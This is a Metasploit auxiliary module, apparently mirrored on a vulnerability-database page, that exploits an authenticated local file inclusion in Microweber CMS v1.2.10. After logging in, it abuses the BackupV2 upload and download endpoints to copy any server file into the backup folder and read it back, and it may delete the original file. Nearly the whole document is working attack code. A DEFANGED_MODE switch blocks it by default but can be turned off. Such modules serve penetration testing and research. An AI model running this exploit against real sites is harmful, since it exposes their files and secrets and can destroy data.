`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)',
'Description' => %q{
Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.
Upload function may delete the local file if the web service user has access.
},
'License' => MSF_LICENSE,
'Author' => [
'Talha Karakumru <talhakarakumru[at]gmail.com>'
],
'References' => [
['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/']
],
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ OS_RESOURCE_LOSS ]
},
'Targets' => [
[ 'Microweber v1.2.10', {} ]
],
'Privileged' => true,
'DisclosureDate' => '2022-01-30'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']),
OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']),
OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']),
OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']),
OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'login')
})
if res.nil?
fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
end
print_status 'Checking if it\'s Microweber CMS.'
if res.code == 200 && !res.body.include?('Microweber')
print_error 'Microweber CMS has not been detected.'
Exploit::CheckCode::Safe
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
print_good 'Microweber CMS has been detected.'
return check_version(res.body)
end
def check_version(res_body)
print_status 'Checking Microweber\'s version.'
begin
major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.')
version = Rex::Version.new("#{major}.#{minor}.#{build}")
rescue NoMethodError, TypeError
return Exploit::CheckCode::Safe
end
if version == Rex::Version.new('1.2.10')
print_good 'Microweber version ' + version.to_s
return Exploit::CheckCode::Appears
end
print_error 'Microweber version ' + version.to_s
if version < Rex::Version.new('1.2.10')
print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def try_login
print_status 'Trying to log in.'
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'user_login'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'lang' => '',
'where_to' => 'admin_content'
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Log in request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
json_res = res.get_json_document
if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
fail_with(Failure::BadConfig, 'Wrong username or password.')
end
if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
print_good 'You are logged in.'
return
end
fail_with(Failure::Unknown, 'An unknown error occurred.')
end
def try_upload
print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'
referer = ''
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
else
referer = full_uri
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),
'vars_get' => {
'src' => datastore['LOCAL_FILE_PATH']
},
'headers' => {
'Referer' => referer
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Upload request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
if res.headers['Content-Type'] == 'application/json'
json_res = res.get_json_document
if json_res['success']
print_good json_res['success']
return
end
fail_with(Failure::Unknown, res.body)
end
fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')
end
def try_download
filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]
print_status 'Downloading ' + filename + ' from the backup folder.'
referer = ''
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
else
referer = full_uri
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'),
'vars_get' => {
'filename' => filename
},
'headers' => {
'Referer' => referer
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Download request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
if res.headers['Content-Type'] == 'application/json'
json_res = res.get_json_document
if json_res['error']
fail_with(Failure::Unknown, json_res['error'])
return
end
end
print_status res.body
end
def run
if datastore['DEFANGED_MODE']
warning = <<~EOF
Triggering this vulnerability may delete the local file if the web service user has the permission.
If you want to continue, disable the DEFANGED_MODE.
=> set DEFANGED_MODE false
EOF
fail_with(Failure::BadConfig, warning)
end
try_login
try_upload
try_download
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation